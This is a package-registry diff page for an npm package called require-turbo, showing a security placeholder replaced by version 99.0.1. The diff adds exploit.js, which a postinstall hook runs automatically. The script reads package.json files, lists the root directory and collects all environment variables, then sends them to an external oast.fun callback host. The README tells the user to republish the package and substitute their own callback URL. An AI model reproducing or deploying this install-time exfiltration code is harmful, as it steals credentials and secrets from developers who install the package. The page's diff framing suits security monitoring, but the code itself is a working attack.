require-turbo 0.0.1-security → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of require-turbo might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +4 -4
  2. package/exploit.js +24 -0
  3. package/package.json +5 -3
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
1
+ Clone this into a package name directory
2
+ run
3
+ npm publish --access public
2
4
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=require-turbo for more information.
5
+ NOTE: change the attacker.com to your callbackurl or burp collaborator
package/exploit.js ADDED
@@ -0,0 +1,24 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const path = require('path');
4
+
5
+ const monorepoPath = '/';
6
+ let data = '';
7
+ try {
8
+ // Read root package.json
9
+ data += fs.readFileSync(path.join(monorepoPath, 'package.json'), 'utf8');
10
+ // Read core package.json
11
+ data += '\n' + fs.readFileSync(path.join(monorepoPath, 'packages/core/package.json'), 'utf8');
12
+ // Enumerate directory structure
13
+ const structure = fs.readdirSync(monorepoPath, { withFileTypes: true })
14
+ .map(dirent => `${dirent.isDirectory() ? 'DIR' : 'FILE'}: ${dirent.name}`)
15
+ .join('\n');
16
+ data += '\nStructure:\n' + structure;
17
+ // Capture environment variables
18
+ data += '\nEnvironment:\n' + JSON.stringify(process.env);
19
+ } catch (e) {
20
+ data += `Error: ${e.message}`;
21
+ }
22
+
23
+ // Exfiltrate to attacker server
24
+ http.get(`http://gyjowarodlxnvtkmuxmo70qc308txlla7.oast.fun/callback?data=${encodeURIComponent(data)}`);
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "require-turbo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.1",
4
+ "scripts": {
5
+ "postinstall": "node exploit.js"
6
+ },
7
+ "files": ["exploit.js"]
6
8
  }